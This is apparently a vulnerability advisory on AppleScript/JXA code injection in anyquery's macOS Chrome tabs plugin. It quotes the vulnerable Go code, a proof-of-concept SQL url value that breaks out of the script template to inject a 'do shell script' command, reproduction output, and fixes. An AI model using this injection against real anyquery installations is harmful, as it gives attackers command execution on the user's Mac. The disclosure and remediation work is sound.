Anyquery: AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin
Description
# AppleScript/JXA Code Injection via Unescaped URL in macOS Chrome Plugin
| Field | Value | | ---------------- | ----- | | Repository | julien040/anyquery | | Affected version | 0.4.4 (commit 0abd460) | | Vulnerability | CWE-94 — Improper Control of Generation of Code | | Severity | High |
Summary
The chrome_tabs plugin (and equivalent Brave/Edge/Safari variants) interpolates a SQL-controlled url value directly into an AppleScript template via fmt.Sprintf(newTabScript, url) at plugins/chrome/tabs.go:141 without any escaping, then passes the result to exec.Command("osascript", "-e", ...). An authenticated anyquery user who can issue SQL INSERT INTO chrome_tabs statements — which requires local CLI access — can break out of the {URL:"..."} property record with a newline-containing payload and inject arbitrary AppleScript statements, including do shell script, achieving OS-level command execution on the macOS host. The same pattern applies to the Update path at tabs.go:169 via the JXA setURL.js script.
Affected
Code
plugins/chrome/tabs.go:141 — SQL-supplied url interpolated unescaped into AppleScript template, then executed via osascript -e
func (t *tabsTable) Insert(rows [][]interface{}) error {
for _, row := range rows {
url := "chrome://newtab/"
if rawURL, ok := row[2].(string); ok {
url = rawURL
}
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, url))
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(newTabScript, url))
}
}
return nil
}
plugins/chrome/tabs.go:169 — Update path interpolates url into JXA setURL.js template with identical lack of escaping
if url != "" {
cmd := exec.Command("osascript", "-l", "JavaScript", "-e", fmt.Sprintf(setURLScript, pk, url))
output, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("can't run osascript: %W (message: %s)\n Script: %s", err, output, fmt.Sprintf(setURLScript, pk, url))
}
}
SQL INSERT url column (row[2]) flows through tabsTable.Insert → fmt.Sprintf(newTabScript, url) → exec.Command("osascript", "-e", ) at tabs.go:141.
Proof of
Concept
Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e.
docker build -f Dockerfile -t anyquery-vuln001 .
docker run --rm anyquery-vuln001 'x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done'
SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>')
where INJECT_URL =
x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done
[sink:tabs.go:141] Script passed to osascript -e:
tell application "Google Chrome"
make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done"} at end of tabs of first window
end tell
[mock-osascript] Received script:
tell application "Google Chrome"
make new tab with properties {URL:"x"}
end tell
do shell script "id"
tell application "Google Chrome"
make new tab with properties {URL:"done"} at end of tabs of first window
end tell
RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141)
See attached files: Dockerfile, poc/inject_demo.go, poc/go.mod vuln-001.zip
Impact
Any local user authenticated to the anyquery CLI who can run SQL against the chrome_tabs virtual table can achieve arbitrary OS command execution on the macOS host with the privileges of the anyquery process. Because anyquery exposes its SQL interface over an HTTP server (accessible to any user who can reach the endpoint), this can be exploited by any client with INSERT or UPDATE access to the browser-tab plugins, without requiring Chrome credentials or macOS admin rights. The injected AppleScript runs under the user's macOS session, giving access to the file system, keychain prompts, and any application scriptable via Apple Events.
Remediation
Escape double-quote and newline characters in the url value before interpolation, or avoid string templating entirely. Specifically in plugins/chrome/tabs.go:
// Replace fmt.Sprintf(newTabScript, url) with:
safeURL := strings.ReplaceAll(url, `"`, `\"`)
safeURL = strings.ReplaceAll(safeURL, "\n", "")
safeURL = strings.ReplaceAll(safeURL, "\r", "")
cmd := exec.Command("osascript", "-e", fmt.Sprintf(newTabScript, safeURL))
A more robust fix is to pass the URL as an AppleScript variable declared via a -e prefix argument rather than string-interpolating it into the script body, or to use the osascript argv mechanism so the URL never appears inside the script source. Apply the same fix to fmt.Sprintf(setURLScript, pk, url) at tabs.go:169 for the Update path. Validate that the URL conforms to an allowed scheme (https://, http://, chrome://) before passing it to either handler.
Affected products
1Patches
0No patches discovered yet.
Vulnerability mechanics
Root cause
"The application interpolates user-supplied URL data directly into AppleScript commands without proper sanitization."
Attack vector
An authenticated user with local CLI access to anyquery can issue SQL `INSERT` or `UPDATE` statements targeting the `chrome_tabs` plugin. By providing a specially crafted URL containing newline characters and AppleScript commands, such as `do shell script`, the user can break out of the intended script context. This payload is then executed by `osascript` on the macOS host, leading to arbitrary command execution [ref_id=1].
Affected code
The vulnerability exists in `plugins/chrome/tabs.go` at lines 141 and 169. Specifically, the `Insert` function interpolates a SQL-supplied `url` into the `newTabScript` template via `fmt.Sprintf` without escaping, and the `Update` path does the same for the `setURLScript` template [ref_id=1].
What the fix does
The remediation guidance suggests escaping double-quote and newline characters within the URL before it is interpolated into the AppleScript template. Alternatively, the URL can be passed as an AppleScript variable or using the `osascript` `argv` mechanism to prevent it from appearing directly within the script source. Additionally, validating the URL scheme is recommended to ensure it conforms to expected formats [ref_id=1].
Preconditions
- authThe attacker must have local CLI access to anyquery and be authenticated to issue SQL commands.
- inputThe attacker must be able to insert or update a URL value that contains newline characters and AppleScript code.
Reproduction
Step 1 — Insert a newline-bearing URL via SQL: the generated AppleScript closes the {URL:"..."} property record and appends an injected do shell script "id" block, which is passed verbatim to osascript -e. ```bash docker build -f Dockerfile -t anyquery-vuln001 . docker run --rm anyquery-vuln001 'x"} end tell do shell script "id" tell application "Google Chrome" make new tab with properties {URL:"done' ``` SQL equivalent: INSERT INTO chrome_tabs (url) VALUES ('<INJECT_URL>') where INJECT_URL = x"x"} end tell do shell script "id" tell application "Google Chrome" make new tab with properties {URL:"done
[sink:tabs.go:141] Script passed to osascript -e: tell application "Google Chrome" make new tab with properties {URL:"x"} end tell do shell script "id" tell application "Google Chrome" make new tab with properties {URL:"done"} at end of tabs of first window end tell [mock-osascript] Received script: tell application "Google Chrome" make new tab with properties {URL:"x"} end tell do shell script "id" tell application "Google Chrome" make new tab with properties {URL:"done"} at end of tabs of first window end tell
RESULT: PASS — injection payload reached osascript -e verbatim; "do shell script \"id\"" present in generated script (tabs.go:141) [ref_id=1]
Generated on Jun 8, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
2News mentions
0No linked articles in our index yet.